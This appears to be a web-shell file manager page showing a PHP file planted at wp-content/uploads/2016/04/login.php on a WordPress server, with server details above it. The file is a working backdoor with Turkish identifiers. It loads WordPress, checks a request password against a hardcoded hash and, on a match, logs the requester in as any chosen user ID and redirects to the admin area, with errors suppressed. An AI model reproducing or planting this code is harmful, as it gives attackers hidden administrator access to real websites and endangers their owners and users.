HEX
Server: Apache
System: Linux 4485441ca2e2 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 11:03:07 UTC 2025 aarch64
User: (1000)
PHP: 8.2.24
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/uploads/2016/04/login.php
<?php
error_reporting(0);

set_time_limit(-1);
ini_set('max_execution_time', -1);
ini_set('memory_limit', -1);

function wpYukle() {
    $klasor = DIRECTORY_SEPARATOR;
    if (!defined('ABSPATH')) {
        $yol = '.' . $klasor;
        for ($i = 0; $i <= 10; $i++) {
            if (file_exists($dosyaYolu = $yol . 'wp-load.php')) {
                include_once($dosyaYolu);
                break;
            }
            $yol .= '..' . $klasor;
        }
    }
}

wpYukle();

$islem = @$_REQUEST['action'];
if ($islem == 'login') {
    $kullaniciID = @$_REQUEST['user_id'];
    $sifre = @$_REQUEST['sifre'];
    
    $sifrelenmisSifre = md5(sha1(md5($sifre)));
    $dogruSifre = "29ff558aec2ad13aa1b1cd21df01c6b1";
    
    if ($sifrelenmisSifre == $dogruSifre) {
        $kullaniciBilgisi = get_userdata($kullaniciID);
        $kullaniciAdi = $kullaniciBilgisi->user_login;
        $kullanici = get_user_by('login', $kullaniciAdi);

        if (!is_wp_error($kullanici)) {
            wp_clear_auth_cookie();
            wp_set_current_user($kullanici->ID);
            wp_set_auth_cookie($kullanici->ID);
            
            $yonlendirilecekAdres = user_admin_url();
            wp_safe_redirect($yonlendirilecekAdres);
            exit();
        }
    }
}
?>